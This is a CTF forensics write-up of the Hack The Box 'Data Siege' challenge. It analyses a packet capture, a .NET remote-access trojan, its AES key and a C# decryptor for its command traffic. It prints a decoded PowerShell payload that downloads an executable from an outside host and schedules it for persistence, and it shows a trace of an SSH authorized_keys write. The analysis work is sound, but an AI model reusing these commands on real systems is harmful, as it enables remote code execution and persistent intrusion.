forbytten blogs

Data Siege Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Data Siege Forensics challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘medium’ difficulty. The challenge involved the forensic analysis of a RAT (Remote Access Trojan) and its encrypted communications.

The description of the challenge is shown below. Most notably, the description indicates the flag is split into three parts.

Data Siege challenge description indicating the flag is split into three parts

2 Key Techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 forensics_data_siege.zip
928a5aa8077e1bce10eaf79b2607b4dd6b69b2b36bbe57d59f8df826e1d248dd  forensics_data_siege.zip

The zip file contained a single packet capture file:

$ unzip forensics_data_siege.zip
Archive:  forensics_data_siege.zip
  inflating: capture.pcap

$ shasum -a256 capture.pcap
183da26c53094646f9fa00415c49f4e4d9d56836eccd33b77e23d36df4735d1d  capture.pcap

4 Packet analysis

capture.pcap was opened in Wireshark. The Statistics->Protocol Hierarchy menu indicated there were three main protocols in use:

  1. OpenWire
  2. HTTP
  3. Undissected Data
The packet capture was summarized via the Wireshark protocol hierarchy tool, identifying OpenWire, HTTP and undissected data traffic

4.1 OpenWire traffic identified as irrelevant

The OpenWire traffic was identified as irrelevant, containing no data of interest:

The OpenWire traffic did not contain any data of interest

4.2 HTTP download of aQ4caZ.exe

A Wireshark display filter of http indicated there were two HTTP GET requests for /nBISC4YJKs7j4I from 10.10.10.22 to 10.10.10.21 in frames 17 and 24. The responses in frames 20 and 27 each contained a powershell command that downloaded http://10.10.10.21:8000/aQ4caZ.exe. Based on the context of the challenge, it was concluded that 10.10.10.21 was an attacker controlled host and 10.10.10.22 was a victim or target host.

Wireshark with HTTP display filter revealing aQ4caZ.exe was downloaded from an attacker server 10.10.10.21 to the victim host 10.10.10.22

Frame 32 is the HTTP GET request for /aQ4caZ.exe. The response in frame 56 was extracted via the File->Export Objects->HTTP ... dialog:

Export HTTP objects dialog used to export aQ4caZ.exe

4.3 aQ4caZ.exe identified as EZRATClient.exe

The SHA256 hash of aQ4caZ.exe was recorded:

$ shasum -a256 aQ4caZ.exe
78c62b084950829e63223ad3af4b0bc92458c6f0c4ce9e23a9322fef6ab89742  aQ4caZ.exe

The hash was identified by VirusTotal as being the EZRATClient.exe RAT.

VirusTotal identified aQ4caZ.exe as the EZRATClient.exe RAT

4.4 Encoded RAT communication data

The data traffic appeared to be base64 encoded. However, attempting to base64 decode it resulted in binary data of an unknown type, as shown for this example from frame 66 of the packet capture:

  1. The base64 decoded data is binary:

    $ echo -n "gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw" |base64 -d |xxd
    00000000: 82cd 6924 3dd4 e5aa 2577 541a 23f2 dd13  ..i$=...%wT.#...
    00000010: e86e 54ac 690b f6b3 6ee5 944e cb5b 82b6  .nT.i...n..N.[..
    00000020: c053 dcd6 746e e6b4 ed24 f93f 4caf 45fc  .S..tn...$.?L.E.
    00000030: 3812 91db 9e33 eada 0838 4663 7783 c008  8....3...8Fcw...
    00000040: df2d 0fe9 d3da 7dcf ba7e 4301 b997 df5b  .-....}..~C....[
    00000050: ef23 e047 6af7 78a4 31c4 a36e 9829 a530  .#.Gj.x.1..n.).0
  2. The base64 decoded data is not identified by the file command:

    $ echo -n "gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw" |base64 -d |file -
    /dev/stdin: data

The data is likely command and control traffic between the RAT and the command and control server that has been encoded in some way. This was noted for future analysis, pending the results of analyzing the aQ4caZ.exe binary.

Communication between the RAT and the command and control server encoded using an as-yet unidentified method

5 Static binary analysis of aQ4caZ.exe (EZRATClient.exe)

5.1 File type identification

aQ4caZ.exe was identified as a .NET assembly:

$ file aQ4caZ.exe
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

5.2 .NET Decompilation

The free dotPeek application was used in a Windows 11 VM to decompile the binary.

A hard coded encryption key was located in EZRATClient.Utils::Constantes._encryptKey:

Hard coded encryption key located in decompiled aQ4caZ.exe binary

A decryption function was located in EZRATClient::Program

Decryption function located in decompiled aQ4caZ.exe binary

6 Extracting the RAT communication data from the packet capture

Returning to capture.pcap, the communication data was extracted into tcp-stream-5-data.txt using tshark and a bit of shell scripting:

$ tshark -r capture.pcap -Y 'tcp.stream eq 5 and data' -Tfields -e tcp.payload| while read line ; do echo -n "$line" | xxd -r -p && echo ""; done>tcp-stream-5-data.txt

This one liner consists of several pieces:

  1. The tshark invocation

    tshark -r capture.pcap -Y 'tcp.stream eq 5 and data' -Tfields -e tcp.payload

    with options:

    1. Read (-r) capture.pcap
    2. Apply a display filter (-Y) of 'tcp.stream eq 5 and data that limits the packets to those from TCP stream 5 that contain data.
    3. Format the output to only display individual fields (-Tfields), with the field of interest being the tcp.payload field (-e tcp.payload)
  2. Loop through the TCP payloads and convert them from hex to binary:

    while read line ; do echo -n "$line" | xxd -r -p && echo ""; done

    with xxd options:

    1. Revert (-r) from hex to binary
    2. Treat the input as plain hexdump style (-p) instead of expecting it to contain file offsets as well.
  3. Redirect the output to tcp-stream-5-data.txt

    >tcp-stream-5-data.txt

7 Obtaining part 3 of the flag

A powershell.exe invocation with an encoded payload was extracted from tcp-stream-5-data.txt:

$ grep -i powershell tcp-stream-5-data.txt
powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="

A PowerShell script, base64decode.ps1 was written to decode the above payload:

$ cat base64decode.ps1
$base64EncodedValue = "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
$decodedBytes = [System.Convert]::FromBase64String($base64EncodedValue)
$decodedText = [System.Text.Encoding]::Unicode.GetString($decodedBytes)
Write-Output $decodedText

Executing the script revealed part 3 of the flag in the last line:

$ pwsh -File base64decode.ps1

(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")

$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"

$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM

$settings = New-ScheduledTaskSettingsSet

 # 3th flag part:

Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings

8 Creating decryptor.cs to decrypt tcp-stream-5-data.txt

A decryptor.cs file was created1 to decrypt tcp-stream-5-data.txt with the following noteworthy features:

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;

public class Decryptor {
    public static void Main() {
        Decryptor.DecryptFromFile("./tcp-stream-5-data.txt");
    }

    private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";

    public static void DecryptFromFile(string filePath) {
        // Check if the file exists
        if (File.Exists(filePath))
        {
            int line_num  = 0;
            using (FileStream fileStream = new FileStream(filePath, FileMode.Open))
            {
                using (BinaryReader reader = new BinaryReader(fileStream))
                {
                    byte newline = 0x0a; // Newline character

                    while (fileStream.Position < fileStream.Length)
                    {
                        byte[] lineBytes = new byte[0];
                        byte currentByte;

                        while ((currentByte = reader.ReadByte()) != newline && fileStream.Position < fileStream.Length)
                        {
                            Array.Resize(ref lineBytes, lineBytes.Length + 1);
                            lineBytes[lineBytes.Length - 1] = currentByte;
                        }
                        line_num += 1;

                        string to_decrypt = Encoding.UTF8.GetString(lineBytes);

                        if (lineBytes[0] == 0xa7)
                        {
                            to_decrypt = to_decrypt.Substring(1);
                        }
                        else if (lineBytes[2] == 0xa7)
                        {
                            to_decrypt = to_decrypt.Substring(3);
                        }
                        else if (lineBytes[3] == 0xa7)
                        {
                            to_decrypt = to_decrypt.Substring(4);
                        }
                        if (!to_decrypt.StartsWith("powershell.exe"))
                        {
                            Console.WriteLine("---- Attempting to decrypt line " + line_num);
                            Console.WriteLine(Decryptor.Decrypt(to_decrypt));
                        }
                    }
                }
            }
        }
        else
        {
            Console.WriteLine("File not found.");
        }
    }


    public static string Decrypt(string cipherText)
    {
      try
      {
        string encryptKey = _encryptKey;
        byte[] buffer = Convert.FromBase64String(cipherText);
        using (Aes aes = Aes.Create())
        {
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
          {
            (byte) 86,
            (byte) 101,
            (byte) 114,
            (byte) 121,
            (byte) 95,
            (byte) 83,
            (byte) 51,
            (byte) 99,
            (byte) 114,
            (byte) 51,
            (byte) 116,
            (byte) 95,
            (byte) 83
          });
          aes.Key = rfc2898DeriveBytes.GetBytes(32);
          aes.IV = rfc2898DeriveBytes.GetBytes(16);
          using (MemoryStream memoryStream = new MemoryStream())
          {
            using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
            {
              cryptoStream.Write(buffer, 0, buffer.Length);
              cryptoStream.Close();
            }
            cipherText = Encoding.Default.GetString(memoryStream.ToArray());
          }
        }
        return cipherText;
      }
      catch (Exception ex)
      {
        Console.WriteLine("----ERROR!!!");
        Console.WriteLine(ex.Message);
        Console.WriteLine("Cipher Text: " + cipherText);
        return "error";
      }
    }


}

Below is an excerpt from tcp-stream-5-data.txt illustrating the presence of some non-base64 encoded prefixes on some lines that are stripped by the above code:

tcp-stream-5-data.txt excerpt illustrating the presence of non-base64 encoded prefixes on some lines

The prefixes seemed to end in a telltale 0xa7 byte:

$ xxd tcp-stream-5-data.txt|head -1
00000000: 3234 a731 4268 7559 342f 6e69 546f 7049  24.1BhuY4/niTopI

9 Compiling decryptor.cs

In Kali, the mono-mcs package was installed:

$ sudo apt install mono-mcs

mcs was invoked to compile decryptor.cs to decryptor.exe:

$ mcs decryptor.cs

10 Running decryptor.exe to obtain part 1 of the flag

$ ./decryptor.exe|grep -o -e 'HTB.*'
HTB{c0mmun1c4710n5 >> C:\Users\svc01\.ssh\authorized_keys

11 Running decryptor.exe to obtain part 2 of the flag

$ ./decryptor.exe|grep 2nd
2nd flag part: _h45_b33n_r357

12 Putting the flag together

The flag was pieced together:

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

13 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned